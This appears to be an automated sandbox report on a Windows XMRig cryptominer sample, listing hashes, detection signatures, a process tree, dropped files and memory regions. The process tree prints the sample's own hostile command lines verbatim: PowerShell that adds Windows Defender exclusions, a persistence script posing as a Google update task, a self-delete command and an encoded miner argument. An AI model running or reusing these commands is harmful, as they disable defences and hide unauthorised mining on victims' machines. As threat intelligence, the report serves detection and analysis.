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Analysis

  • max time kernel
    1800s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/08/2024, 20:59

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3524
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3168
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:404
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1280
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3192
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:5080
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1396
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2668
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
              • Drops file in Program Files directory
              PID:2920
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2372
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:5020
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4284
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:548

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            2e907f77659a6601fcc408274894da2e

            SHA1

            9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

            SHA256

            385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

            SHA512

            34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            89efa4dc086b57f20b51665f81fb7550

            SHA1

            e6e0b888837097ea584b4c6cb7c4585e26176986

            SHA256

            528a5eec1d68a526aab7b0fbdf452b6ac9ca59d1528a8f196df9b6cbefb07f3e

            SHA512

            aea2c6ab833aac5891f0f29ec75ba19f0d6b0b6f5bbdfc662e4a15322cf342a209aba66da6d28fd2448ef6c4ec59dfb7af9991750f2c71d1045bd5170b0bc4ad

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1yc1xu2.yo3.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/548-108-0x00007FF68ECB0000-0x00007FF68EEC1000-memory.dmp

            Filesize

            2.1MB

          • memory/548-49-0x00007FF68ECB0000-0x00007FF68EEC1000-memory.dmp

            Filesize

            2.1MB

          • memory/1248-36-0x00007FF70B250000-0x00007FF70B461000-memory.dmp

            Filesize

            2.1MB

          • memory/1248-0-0x00007FF70B250000-0x00007FF70B461000-memory.dmp

            Filesize

            2.1MB

          • memory/1344-16-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/1344-13-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/1344-12-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/1344-2-0x0000026A1FC00000-0x0000026A1FC22000-memory.dmp

            Filesize

            136KB

          • memory/1344-1-0x00007FF81FA93000-0x00007FF81FA95000-memory.dmp

            Filesize

            8KB

          • memory/2668-114-0x00007FF7594A0000-0x00007FF7594B6000-memory.dmp

            Filesize

            88KB

          • memory/2668-109-0x00007FF7594A0000-0x00007FF7594B6000-memory.dmp

            Filesize

            88KB

          • memory/3068-32-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/3068-34-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/3068-31-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/3068-30-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/3068-28-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/3068-27-0x00007FF81FA90000-0x00007FF820551000-memory.dmp

            Filesize

            10.8MB

          • memory/4284-106-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-149-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-167-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-165-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-163-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-161-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-159-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-107-0x0000025A9AF90000-0x0000025A9AFB0000-memory.dmp

            Filesize

            128KB

          • memory/4284-157-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-110-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-111-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-155-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-113-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-153-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-115-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-117-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-119-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-121-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-123-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-125-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-127-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-129-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-131-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-133-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-135-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-137-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-139-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-141-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-143-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-145-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-147-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/4284-151-0x00007FF69C990000-0x00007FF69D184000-memory.dmp

            Filesize

            8.0MB

          • memory/5080-75-0x000001986C3D0000-0x000001986C3D6000-memory.dmp

            Filesize

            24KB

          • memory/5080-68-0x000001986C170000-0x000001986C18C000-memory.dmp

            Filesize

            112KB

          • memory/5080-69-0x000001986C190000-0x000001986C245000-memory.dmp

            Filesize

            724KB

          • memory/5080-70-0x000001986C160000-0x000001986C16A000-memory.dmp

            Filesize

            40KB

          • memory/5080-71-0x000001986C3B0000-0x000001986C3CC000-memory.dmp

            Filesize

            112KB

          • memory/5080-72-0x000001986C390000-0x000001986C39A000-memory.dmp

            Filesize

            40KB

          • memory/5080-73-0x000001986C3F0000-0x000001986C40A000-memory.dmp

            Filesize

            104KB

          • memory/5080-74-0x000001986C3A0000-0x000001986C3A8000-memory.dmp

            Filesize

            32KB

          • memory/5080-76-0x000001986C3E0000-0x000001986C3EA000-memory.dmp

            Filesize

            40KB